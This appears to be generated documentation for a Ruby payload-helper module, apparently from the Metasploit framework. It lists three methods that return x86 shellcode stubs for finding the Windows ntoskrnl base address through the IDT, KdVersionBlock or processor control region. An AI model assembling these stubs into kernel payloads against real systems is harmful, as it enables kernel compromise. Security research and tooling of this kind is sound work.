This class provides common methods that may be shared across more than one kernel-mode payload. Many of these are from the following paper:
Returns a stub that will find the base address of ntoskrnl and place it in eax. This method works by using an IDT entry. Credit to eEye.
# File lib/rex/payloads/win32/kernel/common.rb, line 21 def self.find_nt_idt_eeye "\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7" end
Returns a stub that will find the base address of ntoskrnl and place it in eax. This method uses a pointer found in KdVersionBlock.
# File lib/rex/payloads/win32/kernel/common.rb, line 29 def self.find_nt_kdversionblock "\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10" end
Returns a stub that will find the base address of ntoskrnl and place it in eax. This method uses a pointer found in the processor control region as a starting point.
# File lib/rex/payloads/win32/kernel/common.rb, line 38 def self.find_nt_pcr "\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4" end
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